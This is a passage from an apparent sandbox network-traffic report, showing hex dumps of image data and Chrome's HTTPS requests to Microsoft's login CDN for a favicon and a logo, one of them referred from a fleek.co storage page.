Data Ascii: {rz=(7'On9)}X~%?C1LKu_rxO4\V;I~]{6g!s#?3fs""""""Ex""""<Y,K)l~xRx<^3GQ/)$bw1=!}e}t!0~5[3eZR\g"(<cYs
E9wyb:}ky6

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 453 IN Data Raw: be 1f 19 8f 0d 39 f0 3c 25 0e cf 5e b4 7a 26 a2 40 ee b4 3d 87 ff 90 b9 29 6c 23 6c 23 e6 21 63 c9 97 02 1a c4 
5e 3a ce 8a f8 62 5f 5d b4 83 fa 73 36 d5 e3 81 5c 38 d3 88 d8 e4 dd b9 87 cc 47 59 33 05 e4 48 8b a6 af ac c1 1f b1 3a 
c7 5c c7 26 67 43 e1 11 22 6f d6 70 9f d9 3f 2d 7e 81 78 93 d8 10 93 f8 5c 47 ac 4b 4c ce 0a 65 8c bd 60 9f d8 ec 85 31 
e0 ba c7 80 18 ed b3 99 6b 72 8d 0d 6b 73 5e f3 d9 c2 57 f2 e1 9c 28 c0 e3 ac c8 35 cc 38 59 db 0a b1 89 58 3b cf 9b 3d 
ac ce 2a 0a 73 7d da 28 10 2b b6 b3 65 9e 58 c4 65 0f b4 08 f0 b9 a2 6d bb c5 7e ae 6b bf 61 5e 43 f2 cd 3d 98 f7 25 e7 
c1 1e b2 f7 dc 07 3e c7 9c 45 e6 39 3b 0a f0 10 3e fb 5c 77 b9 8a 88 88 88 88 88 dc 02 16 e1 89 88 88 5c 07 8b f0 44 44 
e4 66 b1 08 4f 44 2e 4d 17 17 e4 25 7f 5e f6 a3 2e c6 
Data Ascii: 9<%^z&@=)l#l#!c^:b_]s6\8GY3H:\&gC"op?-~x\GKLe`1krks^W(58YX;=*s}(+eXem~ka^C=%>E9;>\w\DDfO
D.M%^.

2022-05-27 06:46:23 UTC 456 IN Data Raw: 90 0d 11 63 00 00 ff f4 49 44 41 54 a7 bf 5a c3 58 f7 89 15 71 ff 00 9b a6 ed 11 e3 01 df 1d e3 a8 a5 1f f0 11 
56 36 d3 76 a5 ec 81 f9 09 36 f4 81 18 ad d0 b6 f4 99 4b db cf e8 d1 9a 90 f9 a9 d0 f6 fd f3 67 75 2f 58 43 1b da a6 89 4d 
ff 9c a2 5d f9 58 d1 7e d3 6f 31 16 76 7e 32 df 73 bb d8 bb f5 f7 a5 f3 6a 31 96 38 b4 28 cc eb 23 f0 17 f0 8f 7a 8c fe 2a c6 
d4 11 f8 9b cf 05 d7 51 c0 17 f7 bb ef 7b c7 a1 85 be 8e af 39 7f 5f 76 3e 56 e3 e4 0e 99 6f bb 39 0f d3 4e 44 44 44 44 44 
e4 63 c2 22 3c 11 11 91 eb 60 11 9e 88 88 dc 2c 16 e1 89 c8 63 c0 0b fe b4 51 17 37 4c f1 c2 9f 97 fe e7 16 3a d0 36 c4 
0d 33 87 79 1d 56 be bb 7f 2e 2b 5b 62 00 71 19 ef 1c a0 e3 b7 3d e7 d4 67 96 36 70 1d d2 e2 83 b3 4b 9b 22 bc d5 99 
a6 0f b9 ee f6 29 92 fd 9d 52 98 7b e8 b9 95 
Data Ascii: cIDATZXqV6v6Kgu/XCM]X~o1v~2sj18(#z*Q{9_v>Vo9NDDDDDc"<`,cQ7L:63yV.+[bq=g6pK")R{

2022-05-27 06:46:23 UTC 460 IN Data Raw: 9f f7 85 f5 d3 0f fd 8e 45 1e 14 8d d0 ef fc 68 db 47 e8 33 a1 60 63 d2 36 a7 04 ab 7e db 74 ff 39 d1 f9 d3 ce 
82 17 c6 39 eb 3e 7f c4 3d 88 5d 2b b0 8e b5 73 7d cf 4f 3b 6c 11 cf 44 44 71 d1 f4 b3 5a 87 da 76 32 73 9f 6a ff d3 2f 73 
08 b8 3e 27 27 d4 6b e8 47 d0 fd d0 f3 73 ae c9 dc 8c 15 ed f2 60 6e 5e 1f e5 8c 60 5e cf 33 cd 33 c6 78 88 2d 3e cf cd 
69 6a c6 9c f4 dc b4 63 6d fc 10 a7 9f 37 44 71 59 5f d3 8f 2d e7 b4 53 fb c3 ff b4 21 8f de 57 f7 3b d7 28 6b d2 e2 0b bf 
e4 47 8e 33 57 d6 4f e1 bb 63 44 ed 9b 5c 89 cd 3c fd 5e 4b be 2d ec d1 f4 19 b1 b6 ef 0f d7 22 22 22 22 22 22 22 22 22 
22 f2 5f 2c c2 13 11 11 11 11 79 00 ab 62 16 8a a6 22 a0 d0 a1 8b 20 18 3f a7 90 61 15 83 bf 56 c4 f5 91 e6 da 1e 43 0d 
79 b5 56 05 1c cd f4 1f 25 bf d5 78 44 dc d5 dc 
Data Ascii: EhG3`c6~t99>=]+s}O;lDDqZv2sj/s>''kGs`n^`^33x->ijcm7DqY_-S!W;(kG3WOcD\<^K-""""""""""_,yb" ?
aVCyV%xD

2022-05-27 06:46:23 UTC 465 IN Data Raw: 5b d1 f3 ab fe 6e 3d 39 cd 3c fb 7a ae 5d f9 5c f9 9f fb 6d bf 69 b3 86 36 74 7b ca 5f f7 4f 31 7d 75 0e dd 6f c8 
81 b5 dd 5f 81 af 29 e6 ba 15 11 11 11 11 11 91 e7 83 45 78 22 22 22 d7 c1 22 3c 11 11 b9 59 2c c2 13 91 6b d2 85 0d 
47 45 0e f7 e1 a1 c5 0e bb f8 47 fe 2e 95 73 73 c9 fc e3 6b 37 7e c4 43 73 f8 90 f4 3e d3 e7 ba fb 93 ec b3 f7 4a 7f ae 59 
ad ef 75 73 7e 5e af 62 cc b1 5d 3c fa d3 67 98 3e 56 be 61 b5 3e b0 2e f3 ab 75 61 95 cf 39 4c 5b ae 77 71 4e c1 ba a3 
f5 f7 c9 2f 3c 46 8e a8 39 d7 5f e7 d3 b9 1c ed 6b 35 c7 d8 d1 ba ce e9 28 df e9 e3 d4 35 1c f9 a4 bf f2 75 8e bf e9 7b c5 
ca cf b9 3e 58 7b 94 0f c4 0f be 56 fe 8f e2 88 88 88 88 88 88 c8 d3 c5 22 3c 11 11 91 eb 60 11 9e 88 88 dc 2c 16 e1 89 
c8 87 e0 54 91 c3 fb b0 2a 80 78 cc 78 97 e6 a8 
Data Ascii: [n=9<z]\mi6t{_O1}uo_)Ex""""<Y,kGEG.ssk7~Cs>JYus~^b]<g>Va>.ua9L[wqN/<F9_k5(5u{>X{V"<`,T*xx

2022-05-27 06:46:23 UTC 469 IN Data Raw: b0 08 4f 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 e4 81 58 84 27 22 22 22 22 22 22 22 22 22 
22 22 22 22 22 22 22 22 22 f2 40 2c c2 13 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 79 20 16 e1 89 88 88 
88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 3c 10 8b f0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 
1e 88 45 78 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 0f c4 22 3c 11 11 11 11 11 11 11 11 11 11 11 11 
11 11 11 11 11 11 91 07 62 11 9e 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 c8 03 b1 08 4f 44 44 44 44 44 
44 44 44 44 44 44 44 44 44 44 44 44 44 e4 81 58 84 27 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 f2 40 2c 
c2 13 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 79 20 16 e1 89 
Data Ascii: ODDDDDDDDDDDDDDDDDDX'""""""""""""""""""@,y <DDDDDDDDDDDDDDDDDDDEx""""""""""""""""""""<bO
DDDDDDDDDDDDDDDDDDX'""""""""""""""""""@,y 

2022-05-27 06:46:23 UTC 473 IN Data Raw: 22 7e 29 10 a2 25 16 63 ab f9 f8 dc c5 ee f1 d0 e3 0d be d0 2c 58 9a 62 2e a2 f8 0e 51 10 c5 f5 f4 01 9d 0b fd 
79 1d 7a ed 8c db fd 9e 5f 81 bf 66 15 e3 d2 cc b8 5c a7 5d 69 ce 71 1e 69 bb cf fc b4 0f bd 8f de 1b ea f1 66 35 df 0a 1d 
8b 9c 5a 5d 5c d6 39 cd 76 07 71 26 9d 47 3f 67 14 dc 7d f1 c5 17 ef 44 f1 1d 2d 85 78 fd 5c f2 fc c0 2e af 39 4e 0e dd df 
09 b8 8e 2f d4 b4 ed 7d 99 b1 9a 55 2c 11 11 11 11 11 11 11 11 11 11 11 b9 3f 16 e1 89 88 88 88 88 dc 13 0a 5a d2 52 
d4 85 28 78 c1 a6 8b 6a 8e 0a 5e 7a 5d d4 3e bb 28 28 a2 50 88 a2 a1 16 36 bd be fd 4e 3a 5e db 4d e1 ab fd d3 4f 5c e6 
77 f6 b1 a1 d8 89 82 a7 b4 cc a5 9d 3e 22 72 a4 8d b0 e9 36 c2 17 fe e6 f5 8c b3 12 31 f0 8b 7d c7 43 97 60 f7 3c ac 9e 
95 8e 3d f5 90 79 f6 cc 3e fb dc 56 e7 b4 5b cb 5c 
Data Ascii: "~)%c,Xb.Qyz_f\]iqif5Z]\9vq&G?g}D-x\.9N/}U,?ZR(xj^z]>((P6N:^MO\w>"r61}C`<=y>V[\

2022-05-27 06:46:23 UTC 477 IN Data Raw: fa 05 7d cf e1 3f d0 27 ee 14 39 35 c4 27 97 14 ce 1c e5 15 e6 35 c4 f7 6e 6e c7 43 d6 7c 48 ae 95 ef bc 4f f3 
7a 72 34 cf 1c f7 9f e7 13 65 0c b1 b7 b4 fd 9c a2 9e bf 04 2b 3f e4 db 60 37 e7 56 b6 d0 be db 6e f6 57 3e 7a 9f dd 6f e6 
35 b4 bf 9d 4d 58 c5 9d 60 43 9e bb 35 9d 67 73 6e ce d0 31 d2 f2 8c f4 cf 35 84 6d 44 7c 9e 93 fc 1c e1 67 49 ab e3 ef 
72 59 8d 93 53 e8 b8 9d c7 9c 03 72 6b 91 4b 84 cd 11 2b ff 53 4d ef 97 78 a1 63 42 af 9d 7e 2e c5 f4 bb da 2f b9 c5 76 
f6 e5 e9 92 7b c4 fd ed cf 43 fa f3 73 cb 1c f7 94 67 b4 9f d7 7e 6e 01 ff b4 0d b6 6d 1f 88 05 73 2d f6 bd 76 b6 2b f0 8b bf 
be ce 1e 61 fa 8f da 16 fb d5 b9 a4 e5 4c fa 6c 7a be db 23 e2 17 e8 13 6f 45 fb be 4f 9c 23 66 0e 9d c7 64 c6 c4 be cf 8a 
16 62 cb 19 9d 3a b3 b0 8a db ac e6 7b 7d 
Data Ascii: }?'95'5nnC|HOzr4e+?`7VnW>zo5MX`C5gsn15mD|gIrYSrkK+SMxcB~./v{Csg~nms-v+aLlz#oEO#fdb:{}

2022-05-27 06:46:23 UTC 488 IN Data Raw: fd a1 f7 89 c4 7c f5 ab 12 63 a5 4e ed e2 f8 9c 93 14 b6 96 0d ed 49 fb 3e 1d 27 3d de 98 c9 69 bc a5 b6 8e cb 
f1 94 1d 0f 4e fe e4 74 6c 5b 97 1d 53 dd e3 64 93 71 b9 fe d0 f1 9e 42 8e a1 9e be fa 78 8c b7 4a de 97 ee 6f fe 3b 4f d9 
9f f7 84 7b b0 6d f4 67 79 c5 c9 ee 34 26 63 9d ca e6 d4 7f 15 e3 ca 07 60 47 7f da f4 71 a2 5f ca 8c 21 3d ae 6d 72 2f 4b 
f5 fc 5a 8e 31 c6 c7 64 1f e1 8d 31 c6 18 af c3 3e c2 1b 63 8c f1 66 d9 47 78 63 8c 97 a4 1f d8 b7 6e 91 0f e1 1f 79 20 9f 
fe ae ea 27 ee c5 39 f5 5f 95 d2 c7 e3 f9 39 5d 63 4a e5 f1 15 b7 fa e4 91 eb 78 e5 e7 96 ff a7 ac 9b f4 73 2f e7 ab 7c 19 
87 7c c9 e8 07 21 7e 7c 96 1f 9b 01 7e 78 29 e6 07 22 7e 44 76 eb 03 32 e8 e3 ce f7 2a ff 7b e7 9d 68 7b 2b f6 d5 58 b1 
9f d2 39 71 3e 5a ce 0b fe 91 f3 72 35 07 
Data Ascii: |cNI>'=iNtl[SdqBxJo;O{mgy4&c`Gq_!=mr/KZ1d1>cfGxcny '9_9]cJxs/||!~|~x)"~Dv2*{h{+X9q>Zr5

2022-05-27 06:46:23 UTC 504 IN Data Raw: 70 4c ae 95 6e 47 fa cb 7f 0b bb ee e9 ef fb a6 f7 1c fd 9d e8 be 3e ce dc cc 87 b8 9e e7 e9 5e 04 fc 98 93 32 
27 fa d4 09 63 1a 2b cf 9f bf 0b fc db c0 98 c6 35 76 e6 3c c6 18 af c9 3e c2 1b 63 8c 31 5e 87 7d 84 37 c6 18 e3 cd b2 8f 
f0 c6 18 cf 89 0f e1 29 fb 45 02 2f 37 f8 f8 ee fb ef bf ff 49 b4 f9 62 ce 71 57 2f 04 7c 59 e1 03 fb 7c 41 c0 58 7c e0 0b ff 88 
58 e9 1b bf 3e dc f7 61 bf 3e 8c 49 d9 0f fb cd 0b a8 7b 9c 65 ca 36 48 7f 19 c3 e3 2b c9 a9 cf b9 d1 57 e6 8d 1c f7 96 c9 
f9 e6 fa f6 1a f3 25 1a 62 0d 3a 4f 39 6f 8e a7 5f d1 ee fa 48 b9 46 c0 75 86 6f d7 18 75 d7 19 32 0e e3 8c 67 cc bc 27 1c 
97 e3 45 1f 4a 1f 60 1d d1 47 1c a5 ad b9 e0 17 79 8e b4 39 ce 7b 20 ef 05 da 01 5b f2 ea 39 d5 97 b9 e2 eb 84 31 50 ce 
e5 ef 7f ff fb ff 75 0f 23 ec d5 18 
Data Ascii: pLnG>^2'c+5v<>c1^}7)E/7IbqW/|Y|AX|X>a>I{e6H+W%b:O9o_HFuou2g'EJ`Gy9{ [91Pu#

2022-05-27 06:46:23 UTC 520 IN Data Raw: 06 fa 5d 16 00 00 ff f4 49 44 41 54 e7 db e3 2c 53 dd cf f9 65 bd c7 e4 79 50 3a a7 e4 cf 3c 21 e7 ed 6a ee 72 
3c 65 cb 38 a7 73 3c c5 37 07 c8 fa 18 63 bc 2f ee 5b 89 6d 94 c8 df 0e 44 dd df 49 70 6f 52 ee 59 b9 cf 59 5e ed 69 39 
1e 39 56 d9 96 fd e9 4b 3b 6d f2 d8 b8 69 df 6d e9 df 12 99 5b c3 b9 67 3f 63 d4 c9 ff a9 1d b9 cf e7 7e af df bc 06 b4 75 
1c 7d 3a a6 65 8c 93 da 8f 72 2c 50 da ee 98 1c 6f dd e3 93 f4 77 f2 95 36 96 57 ba ea d7 47 e7 92 a5 72 8e b3 9e f3 ae 
d2 bf 64 7d 8c f1 e1 b8 bf 25 b4 21 7f 63 f2 df da d6 91 63 f3 5e 3d 29 ef 6b e4 fd 9f 6a 9b 1e db b6 96 ec 1d da 28 fa 18 
9b 9c ce 53 1b c6 5c c5 4a 11 0b f9 f7 81 7f 23 28 c7 2b e9 5c c6 18 e3 a5 f9 fe fb ef df 7d fb ed b7 ef be fa ea ab 9f 5b c6 
18 63 8c f1 12 fc 9f bf fd ed 6f ff fb 2f 
Data Ascii: ]IDAT,SeyP:<!jr<e8s<7c/[mDIpoRYY^i99VK;mim[g?c~u}:er,Pow6WGrd}%!cc^=)kj(S\J#(+\}[co/

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 536 IN Data Raw: b5 7e 6f 11 7c 39 1f c4 58 d2 46 3d 20 e6 94 d4 9f d8 27 fa e4 db 4f f2 dd 4c d2 33 51 cf c4 bc 8c 73 e5 bf 94 
52 4a 29 af 07 f7 14 ee 2f dc 8b ac f6 31 e0 9e c3 d2 7a f7 16 a5 94 c7 e4 b7 df 7e 7b f3 f3 cf 3f bf f9 e1 87 1f fe 6e 29 a5 
94 52 ca 53 d0 24 bc 52 4a 29 37 4b 93 f0 4a 29 13 0f b9 21 0f c3 9b 84 57 4a 29 e5 56 f0 47 5d 84 ef 1a df 38 e4 e3 c7 8f
9f 92 ef 10 ae 69 47 07 f2 87 5e bf 6d fa 99 f5 1d 47 fd bb ef 25 36 73 6c bf bb 5e ab e7 0f d7 7e bf 41 7d bf cd 08 ba ea f8 
5d 57 b4 99 d8 27 c6 e0 bf 82 e7 bf 8a 37 ff 05 bf 8c 53 29 a5 94 52 ca eb c5 3d 85 7b 0f f7 23 ee 63 10 fb c0 3d 87 a5 f5 
ee 2d 4a 29 8f 49 93 f0 4a 29 a5 94 eb d0 24 bc 52 4a 29 37 4b 93 f0 4a 29 13 0f b9 21 0f c3 8f 92 f0 e6 41 b8 e2 41 78 0f 
c4 4b 29 a5 bc 24 fc 51 d7 ef 9c 
Data Ascii: ~o|9XF= 'OL3QsRJ)/1z~{?n)RS$RJ)7KJ)!WJ)VG]8iG^mG%6sl^~A}]W'7S)R={#c=-J)IJ)$RJ)7KJ)!AAxK)$Q

2022-05-27 06:46:23 UTC 552 IN Data Raw: f4 83 2d eb 49 02 9e e2 1a eb 77 fa 29 a5 94 52 ca cb 21 f7 35 ee 89 49 5e c9 64 1c 13 5b dc f7 e5 9e 20 bf ef 
fa 98 fb 6b 75 b4 41 a6 fe 6e 8c dc 4b 08 7a 26 e1 58 6a 9b 7e 6c 47 a8 d3 a6 7f a0 54 d2 56 fb d4 4d 72 ce 39 2f ea fa 
73 cc 8c 2f e3 44 8c c9 31 ed cb 31 77 63 b9 5f 73 3f 86 d8 6e 2c 69 57 ae 87 cf 40 3e 07 29 be 53 3e 07 de 2b ef 6d de 
af 7c 3e d4 87 9d 8d fa 8c a3 9d a0 93 ef 13 d7 c4 88 8d 71 65 99 e3 5a 9f d7 d4 f3 79 05 e7 3e ed 76 fa c6 4e 39 05 f4 
85 64 7c 88 ed 88 63 d8 e7 78 88 7e 12 c7 70 3d 90 7c af f2 5d 12 e7 96 e8 23 7d e9 5b 29 a5 94 4b 69 12 5e 29 a5 94 
72 1d 9a 84 57 4a 29 e5 66 69 12 5e 29 e5 14 1e 80 73 a8 6e dd 03 f1 79 e8 9d 87 e1 a0 5d da da 0e 69 67 3d f1 7a ea 
51 ce 83 7b c4 1f c6 52 56 7a 2b 7b 75 b3 44 d4 a5 34 16 31 
Data Ascii: -Iw)R!5I^d[ kuAnKz&Xj~lGTVMr9/s/D11wc_s?n,iW@>)S>+m|>qeZy>vN9d|cx~p=|]#}[)Ki^)rWJ)fi^)sn
y]ig=zQ{RVz+{uD41

2022-05-27 06:46:23 UTC 568 IN Data Raw: b2 99 f6 b2 6a 4f 5f 2b b2 5f fb 55 39 7d 6b 37 63 55 17 f1 fe a7 80 65 29 a5 94 db c1 ef 81 7b 2c f6 5d 26 0e 
91 24 64 f2 5d fe 0b 5e f4 ab cf b7 61 ee c9 f5 33 f7 6f 7e 47 a8 23 b4 a7 5e fa 33 91 06 d1 bf f6 ea af 44 bf 8e 21 d8 a6 
d8 af 8e a5 fd ce 27 85 38 14 db b0 cb f1 33 a9 50 49 9d 24 c7 c9 39 9f 4a c2 53 d7 58 f5 55 9e 17 9f 27 ef b5 ef 92 ff a2 
24 92 09 ad bc 63 99 84 87 f8 6c 79 3f d3 17 82 6e e2 78 ab f7 c8 e7 ca 04 3c ea 88 be 33 d6 14 db b3 44 c4 58 95 ec 4f 
3d 70 2e ce 4b 31 16 e3 41 80 f1 9c ab 75 4a 05 ff 96 88 b6 48 fa 35 f1 f0 54 12 1e a4 4f 4b d0 5f fa a5 9e 63 96 52 ca a5 
34 09 af 94 52 4a b9 0e 4d c2 2b a5 94 72 b3 34 09 af 94 32 f1 90 1b 3c f8 46 2e 4d c2 03 6c b4 c3 c7 29 d4 9d 25 e8 7b 
8e 33 c7 94 1c 1b e6 35 a4 4f 98 fd b0 f3 0f 
Data Ascii: jO_+_U9}k7cUe){,]&$d]^a3o~G#^3D!'83PI$9JSXU'$cly?nx<3DXO=p.K1AuJH5TOK_cR4RJM+r42<F.Ml)%{
35O

2022-05-27 06:46:23 UTC 584 IN Data Raw: 83 68 21 f7 00 00 b0 10 49 44 41 54 2f 42 1b 63 e6 d8 e8 04 ce 83 98 72 dc 36 fa dc 3b 9e d5 f1 b4 1f e1 9a 
00 d7 81 b5 29 75 fa fa da 74 5d ae 0e 3d 7f 7a 7e cc 79 c4 fc 00 ee 37 e3 b1 c1 7c 8a 2e 3a 3d 67 d2 de 7e f0 d5 cf 11 
3e 23 c4 85 ed f6 d1 7e 63 77 ea 44 5a 27 25 e7 d0 e7 12 d0 89 cc 18 ba de c7 29 db 0f 65 fb c9 39 47 78 76 22 1c 43 74 
91 06 bd 1e 8f 3d 44 44 e4 ac 98 84 27 22 22 72 31 98 84 27 22 22 d7 16 93 f0 44 e4 24 d8 00 67 f3 7c 6e 88 b3 09 de 65 
0b 3a e7 41 db ed 38 91 fe 12 80 f8 f7 41 cc 39 8f 99 e4 b5 95 d0 c5 31 82 0e fa 24 85 91 80 87 ad e8 10 7f e2 9a be 91 
e9 bb fb 72 4c 7f 4a fc 50 47 7a 0c 82 ad b6 d9 63 66 bc b4 a3 8b b4 9d 95 ad d6 db 27 53 8f 7a 4a 6c 9d 24 7d ad a9 b7 
4d ae 31 d7 5d 44 44 44 e4 ba c0 5a 97 35 30 89 33 9d 10 
Data Ascii: h!IDAT/Bcr6;)ut]=z~y7|.:=g~>#~cwDZ'%)e9Gxv"Ct=DD'""r1'""D$g|ne:A8A91$rLJPGzcf'SzJl$}M1]DDDZ503

2022-05-27 06:46:23 UTC 600 IN Data Raw: f1 69 ef f3 64 0c fa a1 fd a5 24 06 4a 58 d9 40 a2 d7 25 fa 3d 7e 82 2e 7a 6d 9b 7a a0 8d 76 9e 4b e6 4f 9e cd 
94 69 4b 5f ee c7 b4 21 22 22 02 79 e7 44 f2 9e 8b b0 e6 e8 f5 74 ff 4f 2d bc 5b fb dd cf 7a 20 c4 16 ef 75 d6 27 fd 0e 65 
3c 6d 94 79 47 c5 4e bf d7 52 46 d2 9e fe e8 c6 26 31 46 da 07 b6 90 40 19 62 03 21 66 e2 86 1e 1b d2 cf 79 46 78 b7 ce 
f3 ed 78 4e 8a 29 74 2c c4 81 9f 7e af f7 75 88 6f 74 23 19 2b 97 87 dc df dc ef dc fb 48 e6 41 9e 1b 3e 93 f6 67 d3 f4 87 
be ef 73 5e 61 ab e7 d3 9c 4b cc 31 fa 42 6c 64 ae f4 b3 14 69 fb cc d3 39 6f db d6 14 48 3d 76 5a 98 c7 30 c7 84 9c 27 
e7 ca 73 14 61 1e c7 2f 31 11 4f 84 eb 89 cd b6 cb 58 fc e3 23 12 1f 3c 3f 7d 0d f0 19 89 2d ce 99 f3 0e d8 6a 9b 9c 27 22 
22 72 56 4c c2 13 11 11 b9 18 9e fe 92 97 bc 
Data Ascii: id$JX@%=~.zmzvKOiK_!""yDtO-[z u'e<myGNRF&1F@b!fyFxxN)t,~uot#+HA>gs^aK1Bldi9oH=vZ0'sa/1OX#
<?}-j'""rVL

2022-05-27 06:46:23 UTC 615 IN Data Raw: 1f 7d a8 4a e4 5e 57 5d 15 b9 66 cd 6f 7f fb 5f 9a 6e ff f2 f3 7f 55 61 53 41 63 af dc a7 5f dc ff 6f 2a 2a bc f3 ce 
1f 47 ae 27 42 47 7c bc d4 5f 1f cb c3 6d 9f 3e 7d b4 01 40 b4 84 38 8a ce 0b 0f 86 a4 07 e2 de 50 61 e3 07 15 37 0f 83 
a5 2e bd 54 c5 64 58 70 43 14 b6 5c 3a ee d4 67 d7 0d 19 aa 0f 8c 7c 39 c7 03 75 ed 3a 75 74 3a 53 ea 15 44 52 cf fd ed 
59 d7 ba 4d 1b d7 ab d7 55 da f0 d0 59 a2 6e e5 e1 a9 ac 74 da a9 73 10 f3 b5 6a d5 5a cb 03 79 90 ba e6 f1 c7 1e 73 fd 
07 0c d0 fa 68 97 2c 94 01 ac 74 52 36 3b 74 e8 a8 ca 6f fc 66 07 f5 f9 23 bf ff bd e6 8b b8 55 37 5e 16 fc fe 77 bf 73 0f 3c 
f8 a0 ba 27 43 e3 89 e0 fa d9 bf fe d5 dd ff cb 5f ba 86 34 7c 87 0e aa 20 f3 dd 77 de d1 78 21 fe 24 ed 28 1f a4 13 f5 27 
d7 88 d8 9a f4 43 60 87 25 cd 1d 52 66 
Data Ascii: }J^W]fo_nUaSAc_o**G'BG|_m>}@8Pa7.TdXpC\:g|9u:ut:SDRYMUYntsjZysh,tR6;tof#U7^ws<'C_4| wx!$('C`%Rf

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.3 59240 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:24 UTC 628 OUT GET /16.000.28741.15/images/favicon.ico HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-27 06:46:24 UTC 629 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 29645286
Cache-Control: public, max-age=31536000
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Content-Type: image/x-icon
Date: Fri, 27 May 2022 06:46:24 GMT
Etag: 0x8D8550CE34ABC0E
Last-Modified: Wed, 09 Sep 2020 22:08:31 GMT
Server: ECAcc (frc/8FAE)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: bd8d7494-201e-0095-47f6-638c49000000
x-ms-version: 2009-09-19
Content-Length: 17174
Connection: close

2022-05-27 06:46:24 UTC 630 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-05-27 06:46:24 UTC 646 IN Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 
33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 
33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 
22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 
Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 33
3330""""" 333330""""" 333330

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.3 55966 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 646 OUT GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net

2022-05-27 06:46:25 UTC 647 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 30404099
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:25 GMT
Etag: 0x8D79ED29CF0C29A
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8E9E)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ae00a5ef-301e-0050-690f-5d9d0f000000
